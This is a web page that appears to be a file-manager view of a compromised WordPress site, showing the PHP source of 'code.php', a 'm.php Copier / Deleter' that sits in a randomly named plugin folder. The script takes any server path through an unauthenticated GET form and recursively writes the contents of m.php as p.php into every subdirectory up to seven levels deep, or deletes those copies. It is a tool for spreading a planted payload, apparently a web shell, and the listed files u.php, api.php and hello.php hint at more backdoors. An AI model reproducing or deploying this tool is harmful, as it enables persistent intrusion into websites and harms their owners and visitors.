PATH:
home
/
bnathsfovv
/
jonassen.info
/
wp-content
/
plugins
/
wp-plugin-49zeeipoh8
<?php $maxDepth = 7; $skipDirs = [ '.cpanel','.cagefs','.cl.selector','cpanelconnecttrack', '.trash','.cache','.config','.local','.ssh','.gnupg', 'wp-includes','plugins','themes', ]; // full path suffix matches — skips dir if path ends with this $skipPaths = [ 'wp-content/uploads', ]; // ── Action detection ───────────────────────────────────────────── $action = null; $path = null; if (!empty($_GET['copy'])) { $action = 'copy'; $path = rtrim($_GET['copy'], '/'); } if (!empty($_GET['delete'])) { $action = 'delete'; $path = rtrim($_GET['delete'], '/'); } // ── Source m.php ───────────────────────────────────────────────── $scriptDir = __DIR__; $source = $scriptDir . '/m.php'; // ── Workers ────────────────────────────────────────────────────── $log = []; function addLog($type, $msg) { global $log; $log[] = ['type' => $type, 'msg' => $msg]; } function isSkippedPath($full, $skipPaths) { foreach ($skipPaths as $sp) { if (substr($full, -strlen($sp)) === $sp) return true; } return false; } function doCopy($dir, $content, $depth, $maxDepth, $skipDirs, $skipPaths) { if ($depth > $maxDepth) return; if (!is_readable($dir)) { addLog('warn', "Not readable: $dir"); return; } $items = @scandir($dir); if ($items === false) { addLog('warn', "Cannot scan: $dir"); return; } foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $dir . '/' . $item; if (!is_dir($full)) continue; if (in_array($item, $skipDirs) || isSkippedPath($full, $skipPaths)) { addLog('skip', "Dir skipped: $full"); continue; } $dest = $full . '/p.php'; if (file_exists($dest)) { addLog('exists', $dest); } else { if (file_put_contents($dest, $content) !== false) { addLog('ok', $dest); } else { addLog('error', "Cannot write: $dest"); } } doCopy($full, $content, $depth + 1, $maxDepth, $skipDirs, $skipPaths); } } function doDelete($dir, $depth, $maxDepth, $skipDirs, $skipPaths) { if ($depth > $maxDepth) return; if (!is_readable($dir)) { addLog('warn', "Not readable: $dir"); return; } $items = @scandir($dir); if ($items === false) { addLog('warn', "Cannot scan: $dir"); return; } foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $dir . '/' . $item; if (!is_dir($full)) continue; if (in_array($item, $skipDirs) || isSkippedPath($full, $skipPaths)) { addLog('skip', "Dir skipped: $full"); continue; } $target = $full . '/p.php'; if (file_exists($target)) { if (@unlink($target)) { addLog('deleted', $target); } else { addLog('error', "Cannot delete: $target"); } } doDelete($full, $depth + 1, $maxDepth, $skipDirs, $skipPaths); } } // ── Run ────────────────────────────────────────────────────────── $runError = null; $content = null; if ($action) { // check path if (!$path || !file_exists($path)) { $runError = "Path does not exist on server: <b>$path</b>"; } elseif (!is_dir($path)) { $runError = "Not a directory: <b>$path</b>"; } elseif (!is_readable($path)) { $runError = "Path exists but is NOT readable (permission denied): <b>$path</b>"; } elseif ($action === 'copy' && !file_exists($source)) { $runError = "m.php not found at: <b>$source</b><br>Place m.php in the same folder as code.php"; } elseif ($action === 'copy' && !is_readable($source)) { $runError = "m.php exists but is NOT readable: <b>$source</b>"; } else { if ($action === 'copy') { $content = file_get_contents($source); doCopy($path, $content, 1, $maxDepth, $skipDirs, $skipPaths); } else { doDelete($path, 1, $maxDepth, $skipDirs, $skipPaths); } } } // ── Count results ───────────────────────────────────────────────── $counts = ['ok'=>0,'deleted'=>0,'exists'=>0,'error'=>0,'warn'=>0,'skip'=>0]; foreach ($log as $e) { if (isset($counts[$e['type']])) $counts[$e['type']]++; } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>code.php</title> <style> * { box-sizing:border-box; margin:0; padding:0; } body { background:#111; color:#ccc; font-family:monospace; font-size:13px; padding:24px; } h2 { color:#fff; margin-bottom:16px; font-size:16px; } .box { background:#1a1a1a; border:1px solid #2a2a2a; padding:14px 18px; border-radius:6px; margin-bottom:14px; } .row { margin-bottom:6px; } label { color:#666; display:inline-block; width:90px; } .val { color:#fff; } form { display:flex; gap:8px; margin-top:8px; } input { background:#111; border:1px solid #444; color:#fff; padding:6px 10px; width:360px; border-radius:4px; font-family:monospace; font-size:13px; } button{ background:#2a2a2a; color:#fff; border:1px solid #555; padding:6px 16px; cursor:pointer; border-radius:4px; } button:hover { background:#333; } .err { color:#ff4444; } .ok { color:#4cff72; } .del { color:#ff6060; } .ex { color:#666; } .warn { color:#ffaa00; } .skip { color:#444; } .stat { display:flex; gap:24px; padding:10px 0 4px; } .stat span { font-size:13px; } hr { border:none; border-top:1px solid #222; margin:10px 0; } .err-box { background:#2a0000; border:1px solid #660000; padding:12px 16px; border-radius:6px; color:#ff6060; margin-bottom:14px; } </style> </head> <body> <h2>code.php — m.php Copier / Deleter</h2> <!-- ── Info ── --> <div class="box"> <div class="row"><label>Script dir</label><span class="val"><?= htmlspecialchars($scriptDir) ?></span></div> <div class="row"><label>m.php</label><span class="<?= file_exists($source) ? 'ok' : 'err' ?>"><?= file_exists($source) ? '✔ found: '.htmlspecialchars($source) : '✘ NOT FOUND at: '.htmlspecialchars($source) ?></span></div> <div class="row"><label>Max depth</label><span class="val"><?= $maxDepth ?></span></div> </div> <!-- ── Forms ── --> <div class="box"> <div class="row"><label>COPY</label> <form method="get"> <input type="text" name="copy" placeholder="/home/user/public_html/wordpress" value="<?= $action==='copy' ? htmlspecialchars($path) : '' ?>"> <button type="submit">Copy</button> </form> </div> <br> <div class="row"><label>DELETE</label> <form method="get"> <input type="text" name="delete" placeholder="/home/user/public_html/wordpress" value="<?= $action==='delete' ? htmlspecialchars($path) : '' ?>"> <button type="submit">Delete</button> </form> </div> </div> <?php if ($action): ?> <!-- ── Error ── --> <?php if ($runError): ?> <div class="err-box">✘ <?= $runError ?></div> <!-- ── Results ── --> <?php else: ?> <div class="box"> <div class="row"><label>Action</label><span class="val"><?= strtoupper($action) ?></span></div> <div class="row"><label>Path</label><span class="val"><?= htmlspecialchars($path) ?></span></div> <?php if ($action==='copy'): ?> <div class="row"><label>Source</label><span class="val"><?= htmlspecialchars($source) ?></span></div> <?php endif; ?> <hr> <div class="stat"> <?php if ($action==='copy'): ?> <span class="ok">✔ Copied: <?= $counts['ok'] ?></span> <span class="ex">~ Exists: <?= $counts['exists'] ?></span> <?php else: ?> <span class="del">✘ Deleted: <?= $counts['deleted'] ?></span> <?php endif; ?> <span class="err">✘ Errors: <?= $counts['error'] ?></span> <span class="warn">⚠ Warnings: <?= $counts['warn'] ?></span> <span class="skip">↷ Skipped dirs: <?= $counts['skip'] ?></span> </div> <hr> <?php if (empty($log)): ?> <span class="warn">⚠ No subdirectories found under: <?= htmlspecialchars($path) ?></span> <?php else: ?> <?php foreach ($log as $e): ?> <?php switch($e['type']) { case 'ok': echo "<div class='ok'>✔ COPIED ".htmlspecialchars($e['msg'])."</div>"; break; case 'deleted': echo "<div class='del'>✘ DELETED ".htmlspecialchars($e['msg'])."</div>"; break; case 'exists': echo "<div class='ex'>~ EXISTS ".htmlspecialchars($e['msg'])."</div>"; break; case 'error': echo "<div class='err'>✘ ERROR ".htmlspecialchars($e['msg'])."</div>"; break; case 'warn': echo "<div class='warn'>⚠ WARN ".htmlspecialchars($e['msg'])."</div>"; break; case 'skip': echo "<div class='skip'>↷ SKIP ".htmlspecialchars($e['msg'])."</div>"; break; } ?> <?php endforeach; ?> <?php endif; ?> </div> <?php endif; ?> <?php endif; ?> </body> </html>
[+]
n
[-] hello.php
[edit]
[+]
mm
[-] api.php
[edit]
[-] u.php
[edit]
[+]
..
[-] code.php
[edit]
[-] m.php
[edit]